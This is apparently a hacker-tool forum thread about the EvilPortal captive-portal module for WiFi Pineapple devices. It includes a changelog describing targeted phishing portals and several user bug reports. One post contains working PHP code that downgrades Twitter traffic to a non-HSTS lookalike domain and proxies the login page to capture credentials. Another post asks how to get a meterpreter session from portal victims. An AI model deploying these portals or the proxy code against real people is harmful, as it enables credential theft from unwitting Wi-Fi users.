Search the Community

I had everything running fine and then made the mistake of upgrading to 2.7. Now whenever I fire up evil portal, it runs fine, I capture creds, and everything seems to be in order except...I no longer able to access the pineapple via hardwire or wireless to the management interface. No access to the webgui or ssh. Once I pull power and the nano reboots, I can get back in and see the captured creds (which are only found in the PortalAuth Captured Creds and not in the EvilPortal logs?). I have done my due diligence searching the interwebs/forums and haven't seen anything regarding this. If there is already a post, thread, and/or solution please point me to it. Has anyone else had this issue and have a solution? For now I am going to downgrade to 2.6.2 to see if things go back to working as desired.

EvilPortal 3.0 is here bring bug fixes and new features! The main focus of this release was to create what I am calling "Targeted Portals" which allow you to direct clients to different portals conditionally based on SSID, MAC, Hostname, or Useragent allowing for a much wider range of attacks. This version will break the portals you have created in the past so keep that in mind when updating. Also, THIS IS NOT A THREAD TO ASK FOR HELP ON WRITING HTML, PHP, OR JAVASCRIPT. THERE ARE OTHER PLACES TO LEARN TO PROGRAM OTHER THAN THIS THREAD. Features Targeted Portals Static Portals Creating/Editing/Activating/Deleting Portals White listings clients by ip address Dynamically adding and revoking authorized clients Live Preview of your portal through the module interface Targeted Portals Targeted Portals allow you to direct clients to different portals conditionally based on SSID, MAC, Hostname, or Useragent allowing for a much wider range of attacks. Creating a Targeted Portal Go to the Portal Workbench in the EvilPortal module Click the drop down menu to the left of the "Portal Name" input box and select "Targeted" Give it a name Click the create new portal button Edit Targeting Rules Click on the name of the portal you just created in list of portals Click the "Target Rule Editor" button in the top right corner of the Work Bench You should see a modal open up titled "Editing Rules for $portalname" with MAC, SSID, HOSTNAME, and USERAGENT sections These sections represent the value that you can create routing conditions for. Under each section you will see a sub-section titled "Exact" and "Regex". These let you create exact rules or rules that will match a pattern. It should also be noted that these conditions are evaluated as an 'or' not an 'and'. The order that they are evaluated in can be change but more on that later. Once you figure out the rule you want to create click the "Add Rule" button You'll see a row appear that says "Key Value", "Destination", and "Remove". Fill out the values for Key Value and Destination. The "Key Value" represents the value that you are checking. For example if the rule is for a SSID the value might be "office-wifi". The "Destination" is the file that is the landing page you are routing clients that match your rule to. If this is an office portal you might want to call it OfficePortal.php. Just remember what you called it because we will need it later. (More on creating these later) The "Remove" button removes the rule Click "Save" at the bottom Creating The Destinations Click the "New File" button in the top right of the work bench. You should see modal open up titled "Creating New FIle". For the "File Name" field type the name of the destination This must be the name you typed in for the destination field when setting up the rules. In this example it was "OfficePortal.php" In the "File Contents" field you will write the code to create your portal. It should be noted that you need to make a post request to /captiveportal/index.php with a redirect destination called "target" in it. In my opinion it is easiest to copy the contents of "default.php" and paste it here as a starting point. Click "Save" at the bottom Important Notes If a client connects and doesn't match any of the conditions you created, they will be routed to "default.php". Currently there is not an easy way to change the order the rules are evaluated in, if you want to change them you have to do it manually via ssh. ssh into your pineapple cd into where your portal is (either /root/portals/$portalname or /sd/portals/$portalname) nano $portalname.ep (replace $portalname with whatever you called your portal) Change the order of the strings in the targeted_rules->rule_order array. The items that come first are evaluated first. Basic Portals Basic Portals are the same oldschool portals that you have come to know in Evil Portal. These are the portals that are created by default and they work in exactly the same way as they used to. Known Bugs HTTPS traffic is not blocked for un-authorized clients (my iptables suck) If you find a bug please create an issue for it the projects Github Repo Change Log Version 3.1 Added ability to write and view logs on a per-portal basis Created method writeLog($message) that writes to the portal log file Created method notify($message) that sends a notification to the web ui Added ability to download files Tab button in file editor will now insert four spaces Revamped the file editor modal Showing file sizes in the portal workbench Various quality of life improvements Version 3.0 Created targeted portals which allow routing clients to different portals based on SSID, MAC, Hostname, or Useragent. Created easy to use interface for setting up targeting rules Added doc strings to all methods in module.php and functions in module.js Made it easy to get the SSID of a client in your portal Added ability to create and move portals on and to the SD card Made IP address in the Authorized and White Listed clients lists clickable Fixed redirection issues Other QOL improvements. Version 2.1 Removed un-needed verbosity Made tab key indent in the editor instead of change elements Added confirmation dialogue box when deleting a portal Created auto-start feature Various other quality of life updates Version 2.0 Captive Portal is now purely iptables (because F*** NoDogSplash) Version 1.0 Install/Remove NoDogSplash Start/Stop NoDogSplash Enable/Disable NoDogSplash Create/Edit/Delete/Active Portals Live Preview portals All panels collapse for a better mobile experience Just one more time for the people in the back; THIS IS NOT A THREAD TO ASK FOR HELP ON WRITING HTML, PHP, OR JAVASCRIPT. THERE ARE OTHER PLACES TO LEARN TO PROGRAM OTHER THAN THIS THREAD.

Hi, I updated my wifi pineapple nano to the last firmware, and after that i can`t active my evil portal to use. Someone else is facing the same problems?

Hi all. I have a Tetra with the latest FW installed. I did a factory reset to ensure all settings will be working as normal and I install the Evil Portal. The problem that I am experiencing is: after a fresh installation of the FW and the Evil portal I create a new test portal ( through the web interface) I activate the portal I start the Evil Portal and when I connect a device to the Tetra's WiFi the portal doesn't pop-up. Remember . it is a fresh installation and the only module install is the Evil portal. Did anyone had the same problem ?! Many thanks John

Hi, I use a pinapple nano, with the last firmware. I would like to know how to add a code into the Evil Portal module to obtain a meterpreter session when the "victim" tries to authentificate? Someone could help me? Best regards, Michael

How can I force Evil portal to use portals stored on a SD Card? I’m using the nano and can’t see an option to change storage location from internal to /sd/portals/.

Hey guys, I've ran into a bit of trouble, could some kind soul help me out please? I'm unable to access POST and GET variables from within the landing page's php if there is a path specified in the URL that isn't "index.php" Example landing page code below, var_dump($_POST) on line 12 returns an empty array despite the form sending the data: <?php if(!strstr($_SERVER['HTTP_HOST'],"twitter") && !strstr($_SERVER['HTTP_HOST'],"twimg") ) { /* If not visiting twitter, redirect to non-HSTS twitter domain */ die('<meta http-equiv="refresh" content="0; url=http://twitter.co.uk/">'); } else { /* form posts to http://twitter.co.uk/sessions */ if(strstr($_SERVER['REQUEST_URI'], "/sessions")) { /* var_dump($_POST) returns an empty array, should print login data */ var_dump($_POST); die(); } /* Curl the site */ $curl = curl_init(); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_URL, $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($curl); $result = str_replace('https://twitter.com', 'http://twitter.co.uk', $result); /* changes the form action */ $result = str_replace('<script', "<div style='display:none'><!--", $result); $result = str_replace('</script', "--></div", $result); echo $result; } ?> if I make the form post to http://twitter.co.ukdirectly, without the /session - they are accessible from the landing page, but I would really like to be able to access them even with other filepaths.

Hi Everyone, I am trying to put together a demo with pineapple nano using three modules (DWall, RandomRoll, Evil Portal). I noticed that these modules don’t work consistently. This issue is very easy to reproduce. Try using all three modules starting with DWall, then RandomRool, and Evil Portal at the end. During the first iteration most likely all three modules would work. But try a second iteration and you will find that only DWall works and the remaining two modules fail to work. Is anybody else experiencing this? Thanks in advance for any ideas/pointers on resolving this!